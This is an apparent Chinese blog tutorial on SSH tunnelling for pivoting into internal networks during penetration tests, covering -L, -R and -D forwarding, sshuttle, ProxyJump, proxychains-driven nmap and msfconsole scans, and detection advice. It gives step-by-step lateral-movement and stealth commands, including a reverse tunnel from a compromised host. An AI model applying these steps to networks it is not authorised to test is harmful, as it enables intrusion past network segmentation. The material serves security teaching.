SSH 隧道与内网代理（本地/远程/动态转发实战详解）

Sun, 30 Aug 2026 01:30:00 +0800

写在前面：合法学习边界

隧道技术只用于授权靶场/授权内网。对非授权网络建立隐蔽通道、转发流量可能触犯法律。所有操作都应在授权范围内完成。

一、为什么要学 SSH 隧道

拿到一台内网主机的 SSH 权限后，通常面临一个核心问题：跳板机能连的内网资源，攻击机直连不到。

1
2


攻击机（公网） ← 跳板机（内网网关） ← 目标网段 10.0.0.0/24
攻击机无法直连 10.0.0.x，必须借助跳板机建立"桥"

SSH 隧道就是这把"桥"。它的好处是：

零落地：攻击机端不需要安装 frp/EW 等额外工具
加密通道：所有流量走 SSH 加密，比明文 HTTP 代理更隐蔽
系统自带：Linux/macOS/Windows OpenSSH 都内置 ssh，无需编译
功能全：端口映射、Socks 代理、多级跳板，一个命令搞定

二、SSH 隧道拓扑图

下图展示了三种转发模式的数据流向：

三、原理详解：三种转发模式

SSH 隧道本质上是利用 SSH 通道的 TCP 转发功能，把一侧的端口流量穿过 SSH 隧道送到另一侧。三种模式对应三种方向：

1
2
3


-L（Local）：本机端口 → SSH 隧道 → 远端目标端口
-R（Remote）：远端端口 → SSH 隧道 → 本机端口
-D（Dynamic）：本机 Socks 代理 → SSH 隧道 → 任意目标

1. 本地转发 -L（端口映射）

场景：知道内网目标的具体 IP 和端口，想从本机直接访问。

原理：攻击机在本机开一个监听端口，所有发到这个端口的流量通过 SSH 隧道转发到内网目标。

1
2


# 语法：ssh -L 本机端口:目标IP:目标端口 用户@跳板机
ssh -L 13389:10.0.0.5:3389 user@10.0.0.1

执行后本机 13389 端口等价于内网 10.0.0.5:3389。用 rdesktop 127.0.0.1:13389 即连接内网远程桌面。

关键参数：

1
2
3
4


-L [绑定地址:]端口:目标IP:目标端口
 - 绑定地址省略 = 仅本机 127.0.0.1
 - -L 0.0.0.0:13389:... 绑定所有接口
 - 端口号相同或不同均可

实战示例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# 映射内网 RDP
ssh -L 13389:10.0.0.5:3389 user@跳板机
rdesktop 127.0.0.1:13389

# 映射内网 MySQL
ssh -L 13306:10.0.0.10:3306 user@跳板机
mysql -h 127.0.0.1 -P 13306 -u root -p

# 映射内网 Web 管理后台
ssh -L 8080:10.0.0.20:443 user@跳板机
curl -k https://127.0.0.1:8080

优缺点：

1
2


优点：简单直接，单端口场景最快
缺点：每映射一个端口就要一条 -L 或一个 ssh 会话

2. 动态转发 -D（Socks 代理）

场景：不知道内网有哪些目标，需要扫描/横向移动。

原理：攻击机在本机开一个 Socks5 代理端口，任何应用配置这个 Socks5 后，流量全部通过 SSH 隧道转发到内网，再由跳板机路由到任意目标。

1
2


# 语法：ssh -D 本机端口 用户@跳板机
ssh -D 1080 user@10.0.0.1

执行后本机 1080 端口就是 Socks5 代理。配合 proxychains 使用：

1
2
3
4
5
6
7
8


# 修改 proxychains 配置
sudo vim /etc/proxychains4.conf
# 末尾添加：socks5 127.0.0.1 1080

# 用 proxychains 扫描内网
proxychains4 nmap -sT -Pn 10.0.0.0/24
proxychains4 rdesktop 10.0.0.20
proxychains4 msfconsole

优缺点：

1
2


优点：一次建连，全内网通吃；扫描、横向、C2 都用这一个通道
缺点：所有流量都经过这一个 SSH 会话，并发高时可能丢包

3. 远程转发 -R（反向隧道）

场景：攻击机本身没有公网 IP（在另一台内网机器上），无法被跳板机主动连接。

原理：跳板机主动 SSH 连到攻击机，把跳板机的某个端口"暴露"到攻击机的端口上。

1
2
3


# 在跳板机上执行（或已控主机）
ssh -R 2222:127.0.0.1:22 attacker@攻击机IP
# 含义：攻击机 2222 端口 → SSH 隧道 → 跳板机 22

此后攻击机访问 127.0.0.1:2222 就是连到跳板机的 22 端口。

反向隧道实战变体：

1
2
3
4
5
6


# 暴露内网 Web 服务给公网
ssh -R 8080:10.0.0.5:80 user@公网VPS
# 公网VPS 的 8080 → SSH → 内网 10.0.0.5:80

# 注意：需要跳板机 SSH 配置 GatewayPorts 参数
GatewayPorts clientspecified # 允许绑定非 127.0.0.1

四、sshuttle：整段子网代理

当内网有几十上百台机器需要访问时，逐条 -L 不现实。sshuttle 可以把整段子网路由到本机。

1
2
3
4
5
6
7
8


# 安装（Linux 原生支持）
sudo pip install sshuttle

# 把 10.0.0.0/24 整段子网代理到本机
sshuttle -r user@10.0.0.1 10.0.0.0/24

# 多子网
sshuttle -r user@10.0.0.1 10.0.0.0/24,10.10.0.0/16

工作原理：sshuttle 通过 SSH 通道接管 IP 层路由，比 Socks5 更"透明"，不需要每个应用单独配 proxychains。

五、SSH ProxyJump 多级跳板

内网多层时，可以用 -J（ProxyJump）一条命令穿透多级跳板：

1
2
3
4
5


# 攻击机 → 跳板1 → 跳板2 → 目标
ssh -J user1@跳板1IP,user2@跳板2IP user3@10.20.0.5

# 建 socks 代理
ssh -J user1@跳板1IP,user2@跳板2IP -D 1080 user3@10.20.0.5

更优雅的写法是 ~/.ssh/config：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


Host target
 HostName 10.20.0.5
 User user3
 ProxyJump jump1,jump2

Host jump1
 HostName 10.0.0.1
 User user1

Host jump2
 HostName 10.10.0.1
 User user2

然后直接 ssh target 即可直达。

六、操作步骤（标准化流程）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


第 1 步：确认跳板机可连通
 ssh user@跳板机 # 能登录再继续

第 2 步：判断目标
 已知端口 → 选 -L 映射
 未知目标 → 选 -D 建 Socks 扫描
 反向连接 → 选 -R

第 3 步：建立隧道
 ssh -L 13389:10.0.0.5:3389 user@跳板机 # 或
 ssh -D 1080 user@跳板机

第 4 步：验证连通
 curl http://127.0.0.1:13389 # 看是否返回数据
 proxychains4 nmap -sT -Pn 10.0.0.0/24 # 扫描

第 5 步：横向操作
 proxychains4 rdesktop 10.0.0.5
 proxychains4 msfconsole

第 6 步：用后清理
 kill <ssh_pid>
 删除残留 SSH 会话和密钥

七、SSH 隧道 vs frp vs EW 对比

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


┌─────────────┬──────────────┬─────────────┬──────────────┐
│ 对比项 │ SSH -L/D │ frp │ EW │
├─────────────┼──────────────┼─────────────┼──────────────┤
│ 落地工具 │ 攻击机无 │ 两端都要装 │ 两端都要装 │
│ 加密 │ SSH 自带 │ 可配置 │ 无（明文） │
│ 速度 │ 中等 │ 快 │ 快 │
│ 适用场景 │ 单端口/代理 │ 复杂隧道 │ 反向/内网 │
│ 隐蔽性 │ 高（加密） │ 中 │ 低 │
│ 学习成本 │ 低 │ 中 │ 中 │
│ 推荐场景 │ 默认首选 │ 多级/复杂 │ 遗留环境 │
└─────────────┴──────────────┴─────────────┴──────────────┘

决策建议：

1
2
3


有 SSH 凭证 → SSH 隧道（零落地、加密、隐蔽）
需要复杂级联 → frp（级联、性能更好）
老环境/无 SSH→ EW（功能全但明文）

八、检测与防御

攻击者检测手法

1
2
3
4


• 异常 SSH 长连接：跳板机上有到公网的持续 SSH 连接，端口非标准
• 多个 Socks 代理特征：frp/ssh 端口（7000/1080）频繁建立
• 流量特征：SSH 隧道流量加密，但有规律性的短连接
• 日志关键词：grep "ssh" /var/log/auth.log 看非常规时间登录

防御思路

1
2
3
4
5


1. 出站白名单：内网主机禁止随意连公网 SSH
2. 监控异常 SSH 连接：源 IP、时间、频率异常即告警
3. 限制 SSH 配置：GatewayPorts no，禁止远程转发滥用
4. EDR 检测隧道工具：frp/ew 进程特征
5. 东西向隔离：跳板机与核心区之间做访问控制

九、报告中的正确写法

1
2
3
4


发现：内网已控主机（10.0.0.1）通过 SSH 隧道将 10.0.0.5:3389 映射到攻击者本机 13389。
利用方式：ssh -L 13389:10.0.0.5:3389 user@10.0.0.1
影响：攻击者可绕过内网隔离直接访问远程桌面，横向移动风险高。
建议：限制内网 SSH 外连；监控异常 SSH 长连接；东西向网络隔离。

十、小结

SSH 隧道是内网渗透最轻量、最隐蔽的代理方案：-L 做端口映射、-D 做 Socks 代理、-R 做反向暴露。掌握它，配合 proxychains 就能在"有 SSH 凭证"的条件下穿透内网，无需落地任何额外工具。frp 和 EW 在更复杂的多级场景中仍有价值，但 SSH 隧道永远是首选。

十一、延伸阅读

1
2
3


• 内网多级代理实战：当单级不够用时如何串联多级隧道
• frp 隧道与代理实战：复杂级联场景的 frp 方案
• 横向移动 Pass-the-Hash：拿到隧道后如何横向

Proxychains on SoulJian小站